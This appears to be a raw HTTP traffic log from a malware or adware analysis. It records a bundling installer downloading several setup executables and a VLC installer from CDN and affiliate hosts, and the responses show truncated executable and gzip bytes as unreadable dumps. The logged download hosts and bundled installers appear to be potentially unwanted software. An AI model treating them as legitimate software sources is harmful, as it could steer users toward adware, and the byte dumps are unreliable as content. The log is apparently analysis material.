User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Content-Type: image/x-icon

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

ETag: "5214ef07-7d26"

Cache-Control: max-age=1800

Accept-Ranges: bytes

X-Original-Content-Length: 32038

Date: Wed, 17 Dec 2014 16:19:00 GMT

Expires: Wed, 17 Dec 2014 16:49:00 GMT

Content-Encoding: gzip

Transfer-Encoding: chunked

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.02
2fc7.............}.l...'.N....a/..{.mX....{.UToT.....I...7V.'.......".
r._..3.B ,.F`...{.~........Ur.".a8....{.......-]-..-.........o.{......
_.....jiU.ji...=.....?.ZZ...B....'>.......":.ukzfN....=111.....Q.{x
...._8.........HR............/.o}....180.....jll.p..........<=)2".~
owW..>.pv.}...T..... rsq!gGGR..PXH..45.z..'''....hvj....)0 .\......
.....h...P=...^.d...t.tx.Z..(.......(.a.......I..E.....4..U....}*..E..
m(..*)';...D.?E..ff...|[email protected]*-.......@....}va.....N.%9..2....
.[hp0E..Sjr2.vwS...^III.>...f.T*.TUU..m..~|t..j.)5).<...........
......R...'.....Ys.2<..i..g.T....j..K$G.*...#=]#...#}}s...%&$PK}.M.
..w.D...?..Ow.... 26.%K....."..x.........7...bcbH][KC.._...[..GEE...)&
gt;.....Szj2.0/..\.>,.BAI..........a.1..FEFND...3.k748.|.......aa..
....PW.........Y^.RRR..o....}{.z....~....}...c....e.o.g......Q{G{PuuMe
zzzctttcYiYqwW.w].......kW..^.....qYUS.oq...:.... ..Oxd..}EE..K/.l...f
........^}...&....b.b).e....y.... .4/..,wT\\.G....g.W_yU'--m......^z..
9......rJIK...P.b.]]]..e.2.....m.f........ .(S.Zju.......>........~
....<... _.........6.v...6.z.A....[.t.g.....998......n.|........b..
..AW'grf.]..y.....xh...t..#G....F..k........G.....g....z......g8.....B
B...8......?22|......Q......SNN6.3.y..x..i..R.f.%....8..........B....4
..(..?OS.c.....J~.......}@....Z.._y....9....q....................&d^..
..wO~....}.UWU..<q".q.....b..w....D.v....4............."...'.......
..nh....S...~..{:E.... .....s...')3#......;8...dGvv6|......$.dm.m.....
U.R..........M...!o.Q25m!#...?.I_.......c6..Y....~QC}. .w.......\.
<<< skipped >>>

GET /images/16x16.ico HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Content-Type: image/x-icon

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

ETag: "5214ef07-47e"

Cache-Control: max-age=1800

Accept-Ranges: bytes

X-Original-Content-Length: 1150

Date: Wed, 17 Dec 2014 16:19:01 GMT

Expires: Wed, 17 Dec 2014 16:49:01 GMT

Content-Encoding: gzip

Transfer-Encoding: chunked

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.02
334.............TKOSA...(*..Z..[z[oK{...mU*......W).... .j..h.. `!...c
....q.a...c..c..... ........*..L..d&..s.s.PT......,u&..ddg (.8..mj.({.
.....;"........CCwm55.E^.(......N"..~..yf:..N.8%t.BOn,&.....d....X..L*
..b...t....jv:wll...p<.k."9?...6.y.*.....Q.(!.cG....H...ss.....Zi*.
..,..V....R*.(...Z.t:.[[.........if8.sK0.1}..:.C..K....QB.q('.L.b...&g
t;....'b....cz*....b_...AA..-Q.ZU.k33...w9......3.3p:."7....j.........
.........p.B....s.....K.Qir....#.........7...G...I....r/CG....{]5.Y...
`*...u..........7.^...T.|.2..~hr2>....z4:..!.l.*7r&/...0......8...s
..D....Dns..N.....0y...:;a1;[email protected]"6.........dER.
.DT...f.....f.((.#U.TF6.....u............x<[email protected]..
#g{.$.]$.5...".S.t...I.\.K......^..n.[).y......F=...JIC.-.... 5..4}...
._\X.......I...4..7]....W..DAX.q..y..CmM......p.itdd.>...~...O.....
..a........~.....0..HTTP/1.1 200 OK..Server: nginx..Content-Type: imag
e/x-icon..Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT..ETag: "5214ef0
7-47e"..Cache-Control: max-age=1800..Accept-Ranges: bytes..X-Original-
Content-Length: 1150..Date: Wed, 17 Dec 2014 16:19:01 GMT..Expires: We
d, 17 Dec 2014 16:49:01 GMT..Content-Encoding: gzip..Transfer-Encoding
: chunked..X-XSS-Protection: 1; mode=block..Alternate-Protocol: 80:qui
c,p=0.02..334.............TKOSA...(*..Z..[z[oK{...mU*......W).... .j..
h.. `!...c....q.a...c..c..... ........*..L..d&..s.s.PT......,u&..ddg (
.8..mj.({......;"........CCwm55.E^.(......N"..~..yf:..N.8%t.BOn,&.....
d....X..L*..b...t....jv:wll...p<.k."9?...6.y.*.....Q.(!.cG....H
<<< skipped >>>


GET /sd?is=sm HTTP/1.1

Range: bytes=510482-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 18 Dec 2014 16:43:27 GMT

Date: Wed, 17 Dec 2014 16:43:27 GMT

Content-Range: bytes 510482-583407/583408

Content-Length: 72926

Connection: keep-alive
'..{..t.R.%...O...|.^....u.n%/de...V..qL.A.7......k.".Y.rU...d..3:...v
__..w....E8..5..:..B....3...{R......P......v.QDo..rfo..H&..p.....ll.Zb
C...g.E.....(....../:.v?..'.S...^.q.l.-.:..2.........iu/i.)X...o.F...1
....!.\_|G....kp...UQW6.n....&...G...I...5..5.....h!.<.=%{.m[.xw.i.
?6.v........ B....=.-.2)1.e.0."T.._.G......>RwmW.`.].I....7X)....B.
'3{Q...X.7.S;.{..E..d.4...~..9..=...}.......-W.gs&?.... ..._...]..t.H.
kk..... .k...K.V.py..o...O.3;Q.\.G......&v..y...J... [email protected]..@.`.t..
.P.R:...-.......=........2....ZbD.#.Z....w..Mn..$4.x..tvK.].w..<..p
...AA.PW...................#7{. .S.J..&..~y....:E.!..G.....MO.! .mM.v.
y..1.&......z.[...jA,.b?.9.....O@....."....(f..N_......K..i5...|)..=..
....r.A...[6=X....*WTy.Y...rK4x>k...{v .H$3.M...<9J7q.NQI..:....
..K.,[email protected].._.Qn./.}.M7.xG)...N.e.LI.....P
/,...V.Qf.o".V!......Xn..f.Im...).>..y..q.h..hM....U3...o......O..2
...&..u..."Y\E.."NP.K6.gDFT32..)S.Z.,....q..........C6JemFU.qm.G...-]&
gt;..A..E&s....8w.s...}.^eW...]91.M.....<.7.......'..l.....9;....p.
..L....... ......UI..|..h.K....O|...l......N8..g..a...(.....y....TL.|.
.s.|........o%..t....x...nw...s.y.<_...M.......u.%.Y....N....W.9xtA
...'.4.k!.s...D.y..0o..........r. i?....x.....q.....!.J...A..$..-.Q...
..d...j..Mt..o.:4.....g..s| '...w...6..%........P..f.......2.x!L.Ne...
.u..'[email protected]....?O..J...</..J..;.{.i}.....&g
t;.'..m....W8..\'.u.!.... .....e.......o!.....t.m..O..Y...,...`wG1. X.
..;^*.....d?.. .....0..m.....Q..K'.[...^..........>v8.....y.X..
<<< skipped >>>


GET /sd?is=sm HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Cache-Control: no-cache




HTTP/1.1 200 OK

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP002C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Content-Length: 583408

Cache-Control: private, max-age=86400

Expires: Thu, 18 Dec 2014 16:43:26 GMT

Date: Wed, 17 Dec 2014 16:43:26 GMT

Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
........................X........................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .
<<< skipped >>>


GET /sd?is=sm HTTP/1.1

Range: bytes=364630-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 18 Dec 2014 16:43:27 GMT

Date: Wed, 17 Dec 2014 16:43:27 GMT

Content-Range: bytes 364630-583407/583408

Content-Length: 218778

Connection: keep-alive
...^..gg.(.U...Q....L..Gy#{M.H.:..S4.x.F...%l.........8...".....:6.,..
 ........)o}....v.W..e3h|.......I.*"........j....Rm.`.>A.......3.M)
....:..&;6..a..L.......I..Y.....&.-U[.5.....t:w...5W..j.]bS.^...)..3`.
......QK....1....8...A..V.].%..Aqu.Y.n6.|xJ...*...O .Hi.!..b-.j......X
.G.X..b.K5.._....}..~.'.....#..x6@..'J...x}.A....T^.y.....f. ...e1h.].
.A...1..2..K....t.`.mN..|..J.3.k..s......6.`.`3.]#^........!.6..-...g.
.W<..CT()K......._FR..MtGd{..eT.#o..*4PKQ.Sb.n./q.cQ>.).o1..V-.j
g..\/..h.}x....m..I....o^~.TMk..p..)8..... .....\/.kM....Z7.."..d"..P.
...].. ........K..u..:.....v.d........*..Zyr..:..vA@.{Ru.g......v.....
:L..F..17..!e*i.d.b.?<B9B\O.....U.#..^s..c/u......._k......%...%...
B{".....<......''..'...?...N.....erW.`.........2.(U.e....9(.{,.\...
..a^e.C`X....*...6.%x.HF...z.i..F}?.3......rr\.....A..}.[..%..H.b...14
..M..3...ljTG.9.1....t...YRy.-.v.34......W.Qx.g..K.d.@D..O..u..V0...T.
..,...............(..x......t)g..%.Fm.& ......U.:.........=..l4.......
6........=f/.o...k. bY..YL....$a8.".....));._...J.......'H'~.....x.[4.
.i.>Lwe=Tx.V...K.......6...lK..O..!.W.w...q..$31m.....z@<y-<.
........&...N..s\4h.3.R..Y........F....Ze.KKv..........N..*1|K.\l.>
..........I..........0k.U..q..!=.\...O.......N.gK..C.IPw.}E...2..4r...
,kJ... .B.]c.."....q.'.P.*[email protected]..&.X}...(.!.......T....tK.
.gc.0.a.<.J.....6c.)\.........b...o.'..A..k'.....M....?.!m..Y65....
....w..-.......=.CO.`...RR..w.=.9G..{8]..j..MXJ<..OU....|...'......
m,..e..o:..............)".....V.......*....e..: ........i..iz|.U..
<<< skipped >>>


GET /video_accelerator/wizardtest/SMALLTEST.HTM?random=764623&mode=nolsp HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: test.youtubeaccelerator.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: text/html

Content-Encoding: gzip

Last-Modified: Mon, 21 Jul 2008 09:41:32 GMT

Accept-Ranges: bytes

ETag: "bfefaff515ebc81:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:44:06 GMT

Content-Length: 167
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".......~....O......7.O.........
....'_>.}. ..>..o.?...MF...HTTP/1.1 200 OK..Content-Type: text/h
tml..Content-Encoding: gzip..Last-Modified: Mon, 21 Jul 2008 09:41:32 
GMT..Accept-Ranges: bytes..ETag: "bfefaff515ebc81:0"..Vary: Accept-Enc
oding..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Wed, 17
 Dec 2014 16:44:06 GMT..Content-Length: 167...............`.I.%&/m.{.J
.J..t...`[email protected]#).*..eVe]f.@......{....{....;.N'...?\fd.l..J
...!....?~|.?".......~....O......7.O.............'_>.}. ..>..o.?
...MF.....


GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

Range: bytes=5657590-11315180

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 17 Dec 2014 16:42:32 GMT

Content-Type: application/octet-stream

Content-Length: 5657591

Last-Modified: Thu, 11 Oct 2012 11:07:06 GMT

Connection: close

ETag: "5076a85a-1594fd9"

Content-Range: bytes 5657590-11315180/22630361
B][email protected]...$...........Z.j.v..U.l.....KR......l....EYM...[....#.Ca..~
'...O^.M..Z.h8*......vV|.X.......{m.....!Q... ...Yth.<....:......r.
[email protected]......,.Jq.-`...O...F.=......~...g...;.....|m.*A`
.PN.2....l...c.J.8v.*.[.....3.Z....f...x`J(.....;..~{...:...$Qb.J..P..
...I....6d......&. .<...4......c..l.. ...3.z.9M..H.Ow...l#..l.....1
..C.OM..h......s{T1EqZ$..7;...V....'<\.(qn[tq.........MrT".{...Qq..
Y...k6...7....Yqnae.G.spY.dh....y.gq\....K....L.......*..i.&...:5B)...
}J....y..?.|.....s;.R..N..?.1.t1*...H../.../..[..{a.VM...o.........'..
|.LQ...cq.......Q.}?.w...iQ..R.{i.[..D.9.N..x....(v...j,c..:.\...$V...
..-..V....P'C6... .b..9.Q/.....w..4.{..}.0.`. .L..j>5(...].P9..N.&l
t;.Z..J..Y).T.k|..............~.S.,._v.....]...h.~_W.B..z.U..C..e..}Wt
.......Kz.....w.ZF.......X2V..s..........D.Dd.4..0Au......W.$..z.n....
lw.$R....1.....B?..z...TB.....|8......S..U.a.bG..o.&q.=.9...Gk....!#s 
!.1%..g...,....v..Cn.8.!..B.......m.......Z...8bK.b..O.........N..?...
..Q....tb..._.........K.B..v1.^..Y:...i.z.p...G..l.&.....\y.b2q...$.w.
.a{.0..U:?7k.0...&sb........t9..i.......}T.... '.1..>p......JM...U\
.!....&V..i..}....2.....1of....._.{.Fr]3.. K.'........-. .A....Z......
.h....='....l..[.h.%W..).......&....eO. \,{..e;z....)[email protected]
n.(k..y......pi*.-.n..Tw..Bi.............I.L..@.....@].v.[.U.".Y}n.../
..>.EE%...V...:..g..."b.W...J..........BN.....:......)$.."...>.f
4.u.$.zt-......9..Jx1(w......l......`...y.......i..N..O.E4_..Z..:.....
7].Q..m.../...Lk.=9nlh.g.-....'.]09....285.Q.r.*;....e..\:L..m.|..
<<< skipped >>>


GET /googleanalytics.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=hsbibmbkxhqe4i0vxoz5dfg4




HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Encoding: gzip

Last-Modified: Tue, 10 Jun 2014 08:53:03 GMT

Accept-Ranges: bytes

ETag: "804165638984cf1:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:44:56 GMT

Content-Length: 488
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"........4.......~Q......I...C|.
?..u3..........i.^......:...yp...................E~Y.W..m....i[T..b...
....e..._\|.........Yy......O......V.......................9.E?.3....A
!./..|.6w~...,?...2.J.fm.u.0...O...8-s4.....qA_\..~.<.~.]...9}.....
f...^N?....z....b..jj.....b..u.$?..|...._rg..X......2V...i]......{uu5.
..ogf..i.......Z^d.../......\.....]O.l:.......4~7M.n./gh.2............
.HTTP/1.1 200 OK..Content-Type: application/x-javascript..Content-Enco
ding: gzip..Last-Modified: Tue, 10 Jun 2014 08:53:03 GMT..Accept-Range
s: bytes..ETag: "804165638984cf1:0"..Vary: Accept-Encoding..Server: Mi
crosoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Wed, 17 Dec 2014 16:44:5
6 GMT..Content-Length: 488...............`.I.%&/m.{.J.J..t...`.$..@...
......iG#).*..eVe]f.@......{....{....;.N'...?\fd.l..J...!....?~|.?"...
.....4.......~Q......I...C|.?..u3..........i.^......:...yp............
.......E~Y.W..m....i[T..b.......e..._\|.........Yy......O......V......
.................9.E?.3....A!./..|.6w~...,?...2.J.fm.u.0...O...8-s4...
..qA_\..~.<.~.]...9}.....f...^N?....z....b..jj.....b..u.$?..|...._r
g..X......2V...i]......{uu5...ogf..i.......Z^d.../......\.....]O.l:...
....4~7M.n./gh.2...............
<<< skipped >>>


GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=182425-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlwurina.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 17 Dec 2014 16:43:28 GMT

Content-Type: application/octet-stream

Content-Length: 109455

Last-Modified: Wed, 10 Dec 2014 08:07:40 GMT

Connection: keep-alive

Expires: Sat, 20 Dec 2014 16:43:28 GMT

Cache-Control: max-age=259200

Content-Range: bytes 182425-291879/291880
.B.....0.B.D...<.B.}...H.B.......B.....`.B.E.....B.....l.B.G...x.B.
.... .B.......B.H...(.B.......B.......B.......B.I.....B.......B.......
B.A.....B.....0.B.......B.J....=C.......B.......B.......B.......B.....
..B.....$.B.....0.B.....<.B.....H.B.....T.B.....`.B.K...l.B.....x.B
.....8.B.......B.......B.......B.......B.......B.......B.......B......
.B.......B.......B.......B.......B.......B..... .B.....,.B.....8.B....
.D.B.....P.B.....\.B.......B.#[email protected].*...t.B.l... .B.&.....B.h
[email protected]...`.B.......B.s...H.B.......B.......B.......B.......B
.M.....B.......B.......B.>.....B.......B.7.....B.....P.B.......B.N.
..h.B./.....B.t.....B.......B.....(.B.Z...X.B.....4.B.O...0.B.([email protected].
j.....B.....L.B.a...`.B.....X.B.P...h.B.....d.B.....p.B.Q...p.B.....|.
B.R...X.B.-.....B.r...x.B.1.....B.x.....B.:.....B.....x.B.......B.?...
..B.......B.S.....B.2.....B.y.....B.%.....B.g.....B.$.....B.f.....B...
..H.B. .....B.m.....B.......B.=.....B.......B.;.....B.....p.B.0...(.B.
[email protected].....|.
B.......B.6.....B.~.....B.......B.V.....B.......B.W.....B.......B.....
..B.......B.......B.......B.X.....B.......B.Y.....B.<.....B.......B
.......B.v...$.B.......B.....0.B.[.....B."...<.B.d...H.B.....X.B...
..h.B.....x.B.......B.......B.......B.......B.\... .B.......B.......B.
......B.......B.......B.......B..... .B.].....B.3...,[email protected].
B.......B.8...H.B.......B.9...T.B.......B.....`.B.^...l.B.n.....B.....
x.B._.....B.5.....B.|.....B. .....B.b.....B.......B.`.....B.4.....
<<< skipped >>>


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 1214126

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Wed, 17 Dec 2014 08:15:15 GMT

Accept-Ranges: bytes

ETag: "2f5f6796d119d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:23 GMT

Content-Range: bytes 0-1214125/1269603

X-Cache: Miss from cloudfront

Via: 1.1 9809448e04530c96c3c3d1b753b71c1c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ulFaTxmJJnq7KVCUASXItgnLXO5AnkNEcAt_zPdIhQbXZPyzMHpkyw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=250000-499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Fri, 25 Jul 2014 09:15:55 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 250000-499999/7592848

Age: 49621

X-Cache: Hit from cloudfront

Via: 1.1 2c6cce35b72d2cb60ec9fdda3e946d93.cloudfront.net (CloudFront)

X-Amz-Cf-Id: r8J6dDdTFslRsthMNLQPmSTyAk3r60-te45LT922ib9kUhjWDAXyrQ==
.L.[(Y...p..Iju.p.<..)..V....Dm...x%...H2..\1|.NZ1.h.r.%.m"I.......
[email protected]/......w.h....../i..P.......:..L.H|..&.s....E.M[..H....V.
,[email protected]{.......z.g...=..i.G.........-f.x....9..]Oh.S..
M....K....Y.k$..ta.._k...6>|h.\..pH.l.../_Gba.>t. [email protected].
..T...t{Rz\z.}.. E2.B......xF..`[email protected]......
dQ.&jM.....IAX3.7.O..\....IH.R~......#.S..j]g.....%...&...5E...PF..3.;
......\M. c>'/.......Km..sRBX.....H...)@...F..ao.;h......3.FE......
.RX...U.C..k.E1...|f.*.u[.Q5... ..WpDRw.I.$D.......0...ti.....P.;...X]
.g..2.z..[1...R.H..0c...{.....Ey)[email protected].~n#.}?.....[W".<.F......{5..
...fU"/P..!...P<B....w.I.#..DS4:X"%.... ....|[email protected].....,...
M.o)...Eg.......n6..i.JJsYl.$..?.`....o.."........mA\.gX.....e~.....|.
.......M..G...?....?..._?.D..z...7A...&.....O....d.[.......[..........
.q.@p(J..m....t.P .JS.q...$~Y..U.&:...N a..X..L...tL...;.:.On......: Q
 ,{.=..A..d;...a.....*-6.`1...:|7..Y...../...(..). ^R.u..K...1P.n..k=c
CF......r..(M.Rr.E....J..!^...e.y...P.E../.w.N.T....].[.[....&..i..5.m
d..h.x...L.......Q..:.b..E._.V.$f...5..df.W.....'..{....~..' ZY4..2...
......."......f.?.@[email protected]$.4..L(.....YVZ.&..P....A.V..>.p..Sb.h.H
]B.....\h..t..8...u.o....Y.q..Y.......kK.U(.f.J5.3 .......; 4n......0.
k.......\.X.q............d.N..k.mgN$..F|\Dy.w..q."...m....^h.....L4...
..IH..vwW%;.c..2v`.....x..9.G.YjQ.W....C....AQR'...:......3.u.. ..D.n.
.a..S.Jmh.qFZ...).G%.m....c?...\..'t......b..z..._0.;z...$Z\s..Q......
4Ue_q.......D.YDN.i{..V.X...;H..K....Z.~....F....G.F=.zg..O..'..r.
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=1000000-1249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Fri, 25 Jul 2014 09:15:55 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 1000000-1249999/7592848

Age: 49622

X-Cache: Hit from cloudfront

Via: 1.1 2c6cce35b72d2cb60ec9fdda3e946d93.cloudfront.net (CloudFront)

X-Amz-Cf-Id: wfZG4QfXReguepf-r_2dtrilDIvmsqIfwosxEPmmKVUHFUrRZ5NQ1A==
..Hi2J...28.;..9.`...........r|H.g...c.)...7\o.5....y.K......V..A.?.g.
.k:.3u.#A.>.W.....(..-.ap....Y[ ..k[..e4.]s..=..)X1.'._b.....[..b.g
F...=W-H..h.z.=.:...Mn.............-F..>...X.cI.....o....8f...9..ql
.V.pH.1...F.A......7...M.An........R.@]..4.!...1.d..b^m..\..}.p...H(..
...M....op...u.........httn.D4...9..>.anA..-..9..x.!.0.`.....3..\b.
;[email protected]._..}..........l....d (...FK...TQ#`-.m....
.y.8..H...H...8.L...k~Ry@e 7..fn..S$8.Q;.................b..o....|..:.
t..!2(../............4.....C.<j.*...E6Z...:W'.....8.x.._ah=x).Sz.N.
;....,./...F&..u.>.O..*r.........O.-..zsD.LAr...#.jr......w(..Q=.?P
`.'.I.z\...0..h...<#E....Q/...gY....k.z.=..C.....].....9..4O....5).
D_...MI..!...m..#.......]...I...d\5.<.0..9.F...0.j..C..)......D.=*!
....'jw.....R..m..%........Ppf.ti.Lbh.w<..........U ...@...|..W{...
...g.>-$i..:....$.....H.....5y~`[email protected]!p..HA....A..1
h..V...V=e..g..@.....%../.N>...sD.\P.....@. .....J..,.3......4..'[R
.....3....)B........E.d3..K..Gp.f.H..W!.....O..dF...`.X.KQ....KC....5.
...Pj....G........;a;..N..O.#~5Z.'........O?.x.x$.......W..0.(...o(lQ.
.n.(.......(.=.n.Y........Q.4z>m...J-\. ...D6)......N&8.;......oU..
..Pnl./,>2....(f..B.....8....h...cTv......8....( a....z...=.H...<
;._.0-8...='....Yr!.).].#.P..wL'.......4..Q-..M..C<..'.. ........^.
.4m...].D3..PV........U.A7.uT.t...W..:...eZ#Yn;w#DH..{.A'={..........m
.M8N.<.".%s.w .....8(=.*m..=..U.x!q.".6.0 .z_.../..6.j..V.f.....,..
A...V..U...8.qw.L..r..?...!y... ..t..5. 3>. ....V.....U.*)..1.g
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=1500000-1749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Fri, 25 Jul 2014 09:15:55 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 1500000-1749999/7592848

Age: 49623

X-Cache: Hit from cloudfront

Via: 1.1 2c6cce35b72d2cb60ec9fdda3e946d93.cloudfront.net (CloudFront)

X-Amz-Cf-Id: fKEsPjskQfxNoWLneqajJ1QkZBZig8eJRWtcAo5CI3tvDMmr4DXWMg==
............Bi.)... ..2.E..*.6E.B...q..|5.[A>#...5^K.1.A..#@...c..0
T!.=.....v.,....<_.....5W.....r...r...I.U.9?..@[email protected]!.-CJ.Xp
../a.l#w.i.Zb'...1.......m.B.L....T.s........(l..T.>'^.6..{.m..RB.o
..h.-.W..e(fTmU.F.N5..zVxx.._v..?m......$..c9.......Y.......)-.9.O8...
.zIB...K..C|.(.......Pi.......:.X........C....2..I.l.....Q.uq...0.A...
G.n.r..@\(......X..F../w.:l-...B..>.Q)U|L5A.p8>..[P.M..z.X.y....
Mxt>j..5...m.y.P..,..=yTN:y.~.,<:.o..E..iw..%[.EN........A......
N...0HF|...`[email protected].".`.......RT..<q..P.L.H..HJ.8.m^*
.QS."!7r.Q......N..n<.........l^(F..*.Ya.U....w...[C..7%Xs.Z...>
.2vA...r".......ov...u;Q.Z}T=..d......a...r.....x.Y..`....g...nj..z...
